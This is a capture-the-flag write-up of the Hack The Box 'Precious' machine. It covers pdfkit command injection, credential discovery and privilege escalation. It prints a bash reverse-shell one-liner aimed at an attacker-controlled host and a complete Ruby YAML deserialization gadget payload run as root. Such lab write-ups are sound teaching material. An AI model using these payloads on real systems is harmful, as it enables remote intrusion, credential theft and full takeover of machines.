Pawned: 16/02/23
Tags: pdfkit Vulnerability, Command Injection, Bash Reverse Shell, Blind RCE, YAML Deserialization
Enumeration
First, as always, we use an nmap
version and script scan to
start off the enumeration.
We can see that port 80 is open, so we can navigate to http://10.10.11.189. This IP address tries to redirect us to http://precious.htb. However, since the box is locally hosted, there is no DNS resolver, so the redirect fails. We can manually resolve the IP address by doing to following:
This allows us to visit the webpage where we see a webpage-to-PDF converter.
Entering gibberish returns an error message:
However, entering a valid URL also returns an error message:
From this second error message, we can infer that we need to fetch a
local webpage. This makes sense since we know that Hack the Box machines
do not have a route out to the internet.
My first thought after realising this was to try LFI (local file inclusion).
However, after several futile attempts, I realised that a webpage
must be fetched from our attacking machine.
We can do this by starting a local web server on our machine on port 8000:
Since the webpage to PDF converter only converts the fetched webpage and does
not store or execute it, there is no point in sending a payload. Therefore, we'll
just fetch the whole directory that we opened our local webserver in.
The URL to enter is the following (with [RHOST] changed to our attacking machine's IP):
http://[RHOST]:8000
This successfully converts the webpage (our local directory) into a PDF.
Let's download the PDF and analyse it using exiftool
:
From this, we can see that the PDF is generated by "pdfkit" v0.8.6.
A quick Google search reveals that this version of the tool is vulnerable
to command injection
(CVE-2022-25765).
Initial Foothold
We can find a reverse shell one-liner on PayloadsAllTheThings' reverse shell cheatsheet. The bog-standard one works:
bash -c 'bash -i >& /dev/tcp/[RHOST]/[RHOST] 0>&1'
We need to change [RHOST] and [RPORT] to our attacking machine's IP
and our chosen listening port, respectively. Let's go with [RPORT] = 8443.
Note that we do not need to URL encode the payload; since it is being sent
in a form, it will be encoded for us.
Before we inject our code, we need to start an nc
listener on our chosen port:
Now, we can inject. We again point to our local web server, but this time
specify a file which is our payload surrounded by backticks. I found
this syntax on
snyk
while researching the pdfkit exploit before.
The URL should look something like this:
After sending the request, we see that we that the webpage 'hangs up' and
doesn't respond. However, we do get a response on our listener port.
Running id
confirms that we have obtained a reverse shell on the target.
While we have a reverse shell, we only have the privileges of ruby, the web server. To illustrate why this is a problem, observe the following commands where I look for and try to open the user flag:
For the user flag, we need privileges at or above the user henry.
The terminal commands above show that there is nothing in "/home/ruby",
however, if we run ls -al
, it'll show us a long listing (-l)
of all files (-a), including hidden ones:
So inside "/home/ruby" we found a hidden directory called ".bundle".
Inside ".bundle", we found a file called "config". Finally, inside "config"
we find credentials for henry. Using this information, we can ssh
into the machine as henry:
Now that we are logged in as "henry" and in his home folder, we can get the user flag. Note that the flags get randomized periodically.
Privilege Escalation
First, we'll run sudo -l
to see what privileges our
current user, "henry", has.
As we can see, "henry" can use ruby
to run "/opt/update_dependencies.rb"
as "root" without the password. This opens up "update_dependencies.rb" as a possible path to privilege escalation.
Let's look inside "update_dependencies.rb" to see what it does:
We see that "update_dependencies.rb" uses YAML.load()
.
Researching this function, we find that it is vulnerable to blind RCE (remote
code execution) through Yaml Deserialization.
So let's create a payload based on the one found here:
--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve
Running "update_dependencies.rb" as "root", we can see that it successfully
executes the command in the variable highlighted above (id
) as "root":
This means that the code injection works. Don't worry about all the errors,
they're just complaining that our malicious "dependencies.yml" isn't what
"update_dependencies.rb" was expecting.
Next, let's change the injected command to one that spawns a subshell as "root":
git_set: /bin/bash
Running "update_dependencies.rb" again, we can see that we have
a subshell with root access. Now, all we have to do is grab the
root flag located in "/root/root.txt":
Thus, we have successfully hacked the box, but we must remember to clean up after ourselves.